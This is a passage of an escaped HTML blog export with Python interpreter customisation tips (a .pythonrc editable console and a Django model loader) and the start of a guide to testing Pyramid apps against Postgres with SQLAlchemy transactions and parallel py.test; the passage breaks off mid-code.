style=\"color:#6CB6FF\"\u003e open\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(tmpfl).read()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.unlink(tmpfl)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tmpfl \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ''\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lines \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e line.split( \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e i \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e range\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(lines) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e): \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.push( lines[i] )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e line \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lines[\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e line\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003ec \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e EditableBufferInteractiveConsole(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elocals\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003elocals\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e())\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003ec.interact(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebanner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e''\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Exit the Python shell on exiting the InteractiveConsole\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003esys.exit()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFor Django developers when you load up the ./manage.py shell it is nice\nto have access to all your models and settings for testing:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# If we're working with a Django project, set up the environment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'DJANGO_SETTINGS_MODULE'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.environ:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e django.db.models.loading \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_models\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e django.test.client \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Client\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e django.test.utils \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e setup_test_environment, teardown_test_environment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e django.conf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e settings \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eas\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e S\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e class\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e DjangoModels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eobject\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\"Loop through all the models in INSTALLED_APPS and import them.\"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e __init__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e m \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_models():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e setattr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, m.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e__name__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, m)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e A \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e DjangoModels()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e C \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Client()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter these tweaks the python interpreter is a lot more powerful and you\nreally lose the need for the more interactive shells like ipython and\nbpython. All of these settings work in both python2 and python3.\u003c/p\u003e\n\u003cp\u003eIf you want to see my complete ~/.pythonrc.py you can get it on\n\u003ca href=\"https://github.com/sontek/dotfiles/blob/master/_pythonrc.py\"\u003egithub\u003c/a\u003e\u003c/p\u003e","category":"Development","date":"2010-12-28T00:00:00Z","tags":["Python"],"title":"Tips and Tricks for the Python Interpreter"},{"id":["old","writing_tests_for_pyramid_and_sqlalchemy"],"path":"old/writing_tests_for_pyramid_and_sqlalchemy","contentHtml":"\u003cp\u003eTL;DR: Putting it all together, the full code can be found here:\n\u003ca href=\"https://gist.github.com/1420255\"\u003ehttps://gist.github.com/1420255\u003c/a\u003e\u003c/p\u003e\n\u003ch1\u003eIntro\u003c/h1\u003e\n\u003cp\u003ePyramid's documentation doesn't cover the preferred way to test with\nSQLAlchemy, because Pyramid tries to stay out of your way and allow you\nto make your own decisions. However, I feel i'ts necessary to document\nwhat I think is the best way to test.\u003c/p\u003e\n\u003cp\u003eWhen I first started writing tests with SQLAlchemy I found plenty of\nexamples of how to to get started by doing something like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e db \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e session \u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e# probably a contextbound sessionmaker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e db \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e model\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sqlalchemy \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e create_engine\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e setup\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e create_engine(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sqlite:///test.db'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e session.configure(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebind\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eengine)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e model.metadata.create_all(engine)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e teardown\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e model.metadata.drop_all(engine)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e test_something\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e pass\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI have seen this done so many times, but I feel there is so much wrong\nwith it! So let's establish some base rules when testing:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eAlways test your system like it would be used in production.\nSQLite does not enforce the same rules or have the same features\nas Postgres or MySQL and will allow tests to pass that would\notherwise fail in production.\u003c/li\u003e\n\u003cli\u003eTests should be fast! You should be writing tests for all your\ncode. This is the main reason people do test against SQLite, but\nwe can't violate rule number one. We have to make sure tests\nagainst Postgres are fast, so we shouldn't be tearing down and\nrecreating tables for every single test.\u003c/li\u003e\n\u003cli\u003eYou should be able to execute in parallel to speed up when you\nhave thousands of tests. Dropping and creating tables per test\nwould not work in a parallel environment.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFor an example, I have a project with 600+ tests and it would take 2 and\nhalf minutes to execute running against SQLite. But when we swapped our\ntest configuration to execute against Postgres, testing took well over\nan hour. That is unacceptable!\u003c/p\u003e\n\u003cp\u003eBut running them in parallel will give us a huge speed up. Check out the\nresults of the tests running in single proc mode vs using all 4 cores:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ py.test\n======= 616 passed in 143.67 seconds =======\n\n$ py.test -n4\n======= 616 passed in 68.12 seconds =======\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eThe right way\u003c/h1\u003e\n\u003cp\u003eSo what is the proper way to setup your tests? You should initialize the\ndatabase when you start your test runner and then use transactions to\nrollback any data changes your tests made. This allows you to keep a\nclean database for each test in a very efficient way.\u003c/p\u003e\n\u003cp\u003eIn py.test, you just have to create a file called conftest.py that looks\nsimilar to:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eROOT_PATH\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.path.dirname(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e__file__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e pytest_sessionstart\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e py.test \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Only run database setup on master (in case of xdist/multiproc mode)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e hasattr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(config, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'slaveinput'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e models \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e initialize_sql\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e pyramid.config \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Configurator\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e paste.deploy.loadwsgi \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e appconfig\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sqlalchemy \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine_from_config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e import\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ROOT_PATH\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.path.dirname(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e__file__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e settings \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e appconfig(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'config:'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e +\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.path.join(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eROOT_PATH\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'test.ini'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine_from_config(settings, \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eprefix\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sqlalchemy.'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Creating the tables on the test database \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e%s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e %\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e config \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Configurator(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esettings\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003esettings)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e initialize_sql(settings, config)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith py.test, when you are running in parallel mode, the\npytest_sessionstart hook gets fired for each node, so we check that we\nare on the master node. Then we just grab our test.ini configuration\nfile and execute the initialize_sql function.\u003c/p\u003e\n\u003cp\u003eNow that you have your initial test configuration finished, you have to\ndefine a base test class that does the transaction management in setUp\nand teardown.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the Base testing class what will manage our\ntransactions:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e unittest\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e pyramid \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e testing\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e paste.deploy.loadwsgi \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e appconfig\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e webtest \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e TestApp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e mock \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Mock\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sqlalchemy \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine_from_config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sqlalchemy.orm \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sessionmaker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e app.db \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Session\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e app.db \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Entity \u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e# base declarative object\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e app \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e main\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003ehere \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.path.dirname(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e__file__\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003esettings \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e appconfig(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'config:'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e +\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e os.path.join(here, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'../../'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'test.ini'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e BaseTestCase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eunittest\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eTestCase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003e @\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eclassmethod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e 